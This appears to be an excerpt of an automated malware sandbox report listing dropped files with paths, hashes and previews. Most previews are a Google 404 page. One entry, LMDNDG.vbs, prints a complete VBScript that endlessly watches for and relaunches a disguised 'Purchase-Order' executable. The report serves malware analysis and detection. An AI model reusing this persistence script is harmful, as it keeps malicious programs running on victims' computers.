Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NbKvGjPj1LUJNOIUdADd_w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IygbGHJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2710307676736186
Encrypted:	false
SSDEEP:	24:GgsF+0j4xSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	B16782A6891FBF2B4389426055E45547
SHA1:	6808D081993B120BA8831D781F8D5872F3B190FE
SHA-256:	DFA5B6B8FF13F4168AE8584BDDBA33C00A2D857E94F848D33E344B81D077DD51
SHA-512:	5A2E9A1D7AB1CEF3177D7700A714E0CE1C5DE70FE1121452E3624E1AFA3B1E0CC7BA6155023552C7C7E01FD1A11D2F516ABDCF1E7234F2D02C050C68C710C550
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RyQ1ecLI0F6JyR6WMLGnlA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\J1ZAaiO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276549016014603
Encrypted:	false
SSDEEP:	24:GgsF+0SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N+pAZewRDK4mW
MD5:	39C633AF6C4144E4CFA779AE694D6271
SHA1:	2E63FAAA5C0F8E311C4159A9CF324B956005C39B
SHA-256:	533424E21229BF9F1B8F47D82D1A56ACF5F5117B55CCF71E53E529262079F815
SHA-512:	A4E297FAE0F5CD502B75B4790135370E5B904B39EF6CA0A3ECCB08DE4835C716B71687C2053F786D584C311401297979725B064D151DEE49C8FFFDD624EACD26
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WOJD6efPhIJtta74q6ZKNA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\J8M2yvQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271223733614239
Encrypted:	false
SSDEEP:	24:GgsF+0wT5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z5+pAZewRDK4mW
MD5:	F9F57D6F2E85258601A7AE7CBA853F83
SHA1:	8DE952AFF140060FDA514E50F4421A010FFE0662
SHA-256:	EE25C2D34168B018586B4DD5327DEEC0CD6B41FFD3DB4BBD676D5F55B124098B
SHA-512:	A78F26DF98F976BF5E1079FF9F743A063C701B91593D54C730F8820B99256C0359A48E9B99AF3A37789DE78CB0ED248388BC314A5F3C4C141F472E8CE908E2C5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cMEAs3Q2kvspuZOAQEIzQA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JHzGCNm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263733795126545
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4+pAZewRDK4mW
MD5:	A04A150B06930A6E954E82358C191F39
SHA1:	74F483A8115BB21EA3E23C436CDEBD086449CF82
SHA-256:	0D9E0B9F183F9995B249FCC2EC6478DD5A9F5248E71ACBE3E45B8693846BA74A
SHA-512:	D9D9ECCB452AB0554AA484E3058A1D0CCCACD3556768A696321230A0A32CFF280002F949434802D969E797973CE4504C622FEDA55E07F279E09035E30AA29887
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iSXgbpEwfj8XD2ZdvqVB1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\KufNrNC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266740909252909
Encrypted:	false
SSDEEP:	24:GgsF+0OSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	FC2D29CAB8B7B14B01A55209D0414C79
SHA1:	1DB86B961449C75BE7635F6DE82C70A45341570C
SHA-256:	62994CD5C40489C0A0BAAB7C3EBE2145CD08A87958BBC43B3EAC699843D3EE8D
SHA-512:	49A356D6D22AE8F9C8B851A516FB8DF673CE34D73AD8CFCF0835152C6F124C36CF00647351DDC6152CAC0518C5ABA33725ED0DBD5951696695E1035B4C6089B7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="J1Jdw5KOQDyHZtnlwHM3Lw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LBcgWT1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267010863221998
Encrypted:	false
SSDEEP:	24:GgsF+0AtSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	20800095E0340E8273B76D8868C993F9
SHA1:	5734FD577C41A99A7F48F273161944F5D5563416
SHA-256:	D47082F7ED689016F04AB32BF7A2C867477E3916CF6FD101E738DE4F5DECD377
SHA-512:	497371BE82ED49A2496629B6B0BA112E2B864DB8CBCEB5BAF9782258DB5C63994224FF272766A92909A7592E1CC7381EEAC50124ADB81BAB5759E9F88E6C394C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kTlj2BZbdYg_yRsjiBCESA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LMDNDG.vbs

Download File

Process:	C:\Users\user\Desktop\._cache_Purchase-Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	853
Entropy (8bit):	5.3376266919007165
Encrypted:	false
SSDEEP:	24:dF/UFESU/qaG2b6xI6C6x1xLxeQvJWAB/FVEMPENEZaVx5xCA:f/UF0t+G+7xLxe0WABNVIqZaVzgA
MD5:	23A91C7464359D3928C36179FCAD0B53
SHA1:	917A06FB409269C9FB536598103DDDA06217A172
SHA-256:	45C1CB2D9F050539D73A9E5E95F8F1BA9320680143710A78AE8F63A2C8515781
SHA-512:	57363F311D93DD80326A08EEA07BADEEB240B5F2AC3FAF40BBB307DC5F997191C2588AB747C0A68FB58064B247F23490C4F684E859019146A55C4A082781666B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On error resume next..Dim strComputer,strProcess,fileset..strProcess = "._cache_Purchase-Order.exe"..fileset = """C:\Users\user\Desktop\._cache_Purchase-Order.exe"""..strComputer = "." ..Dim objShell..Set objShell = CreateObject("WScript.Shell")..Dim fso..Set fso = CreateObject("Scripting.FileSystemObject")..while 1..IF isProcessRunning(strComputer,strProcess) THEN..ELSE..objShell.Run fileset..END IF..Wend..FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)..DIM objWMIService, strWMIQuery..strWMIQuery = "Select * from Win32_Process where name like '" & strProcessName & "'"..SET objWMIService = GETOBJECT("winmgmts:" _..& "{impersonationLevel=impersonate}!\\" _ ..& strComputer & "\root\cimv2") ...IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN..isProcessRunning = TRUE..ELSE..isProcessRunning = FALSE..END IF..END FUNCTION

C:\Users\user\AppData\Local\Temp\LYOLoVh.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.283029620537646
Encrypted:	false
SSDEEP:	24:GgsF+0aD7SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	5BC7C1C783EB3C15AB7AFDE311FBA740
SHA1:	1B3E0522F882A6B2F5D67619C6976587FF77B5CE
SHA-256:	D21E5F978152C3DB668C663CCC96B61CE32CA7577BBEFE2538DBFB245501FC76
SHA-512:	4B66EA30C783DF39C40EEE94FB26614962134F45774E3F00FD36C7F074F71F82A5D7A57AC02AAC2487839C1CD13F769024A7C2BD19E156E6122570F41553F839
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vSgjYZxX2oy8PAMqBUPDWA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MeK3XlP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2656263109502595
Encrypted:	false
SSDEEP:	24:GgsF+0YQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	5FEBAFDA11F567E0C5AEC9E102E5A26D
SHA1:	8E455E155F4310B6506E917FB040F571E96EC1DE
SHA-256:	32A28810A75BFB4749614A8A893D436106FAF2F6C3C44B192C6836FE390A5B43
SHA-512:	004A7310B9A8BC39431234C4B94601F146D3CB042D5202FD6049CD5756D8F0285962A62072B8E02FAAFE63E61B72BA2DE7F9710E5B749867B769777CFA83533F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VPqjfoF0wELgNXV1CFhV4g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NCf1uTM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264891589807313
Encrypted:	false
SSDEEP:	24:GgsF+04nISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bI+pAZewRDK4mW
MD5:	4C2AEF11A227FA746A3C379E5B7BB7C4
SHA1:	AD7ABEA10859D36680E142ACA6404F2A55AB28B3
SHA-256:	64364A3C51F05D4A1CF5E360339633B2408CAA4CBB4F289D8579783BA2607F0A
SHA-512:	A55F072E1B97CE7ECF755405F6D23E4CFF8A36774980D960C263983A3C4CFC4BAA110EB4D16E5EF5BBE2C748EDCF2F5C92537BD4DF017A3D8C8AEA12AFA5029C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="koYZHLHa99uc483b_CbpDQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NcArXPF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258078439637681
Encrypted:	false
SSDEEP:	24:GgsF+0PSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	55B339AD50ED226270209568A8904CD8
SHA1:	9969CEB7193B6D37731B3FCE8B0EF4DAB600A1C4
SHA-256:	E4374989FCC1F324E59E62038F0BAD86BFC5EA28D3EB6DA2DB6B7F578E2A2A55
SHA-512:	6EA79E059E3C19E296B445F64BE3A679380F278EC5A5B7CCC97724EC9FD7EA6E2ACC209B9B116694C40409144E209B257C098DF126448BA238610C2491E03A8F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z7b-JpqvhiKfWeiiVCnB1Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Nv2LHR4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270581950856467
Encrypted:	false
SSDEEP:	24:GgsF+0wzHSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tH+pAZewRDK4mW
MD5:	0622C83F7CBDAC9834CA0E26F8709DDD
SHA1:	506FDF3B1DBFB57BC0FAD2A652855973B9643AA0
SHA-256:	9371FBD9CCAE01D2E62F69B4648B7F540C128085D1AFBE45E8EBFDF2B1D97282
SHA-512:	699D527FE1E7C408F0C2588657025FF6281CA84324A22703FE4AABBD63D3FE09E97D3AFCAF197F7C5FB53A79603E52F06EB9308C089AD0A055E0B8993163B091
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KDKa9s4tSf2EVqLgqXgRWQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ORiOhLk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261114317412132
Encrypted:	false
SSDEEP:	24:GgsF+0QkSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	395723895DA2D3AB739995712E96EB19
SHA1:	31C6D300B5A354713E76241CFB0276D41034A78B
SHA-256:	703BAB017981B687EBE06578AABF41AE7A40F03BDFFD27F925F6141DB66191C4
SHA-512:	87DCE722ACB965EAC209AAFF10AFEC68ACDB7015F7A794D5BE2D4BE4EC2C55F7D8F25C94562AB449DE39FAB51F3A1415282663480791A794D033276FE1671664
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OG_Ve__D6NaF9AiCopmIow">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\OkI9KAJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.28360863149319
Encrypted:	false
SSDEEP:	24:GgsF+0PhDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mD+pAZewRDK4mW
MD5:	50ACF4A348C470DDAB040F52D42732ED
SHA1:	B0F3F9BA9828DD522B35998A8EAD427AE120BC6F
SHA-256:	C3D8E20F44279D2D31C69FFB0295F70EEE5C2DB2C94410145BA8392B1ADEB6BE
SHA-512:	D1A850FFD62EED9436C7519C016579C93351D98478DA6DBAAD994F82AB3C185920B733F71F18726707DB47575F21D2B2E3FFB1C81ACDED3E31E7F4FED1162646
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AQQjM3mCtI7UfjDLOIM0XA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\OuOgPnc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268495234942767
Encrypted:	false
SSDEEP:	24:GgsF+04DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fD+pAZewRDK4mW
MD5:	8F403BDA45B339A51FC971E475AB6BFE
SHA1:	16C1421D366FDD6799BD3B982A162526D7260CD6
SHA-256:	2D83943CE59F521D5F2E3F09DD2AC414B8AC5A38792035227665E8AA67055DF8
SHA-512:	BBC1C4AE58AD664A5C02EB4C643334697BE0F0D3DB869D9D3FA3531F05F6A35A7054FB8E30BE19260E0EBFE8BB4BC2BD12A3EEC0DC42EB6AA223C3FDEDA1E671
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OU8HQQiz6jy0ejFG3eEv_g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\P2efJLK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269290167657719
Encrypted:	false
SSDEEP:	24:GgsF+0oAMbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4Mb+pAZewRDK4mW
MD5:	E93821C24F210CB0B5FEEB93C192233E
SHA1:	347FC56EEC2D60A434E4B2F34D087AFC1C454482
SHA-256:	10BF8D898098334160533792CCE6DB874164CDCF8E87B7DD7A068058C3EF4688
SHA-512:	3AA4284D1AC87A1E506820D558DDA645A9BB85D7DFBC5AEB2E19C958741DCB97523BEB74BFEC4D94A7E310C9935CDD5AD4FB76DD478500A76EE9AF255663CFBF
Malicious:	false
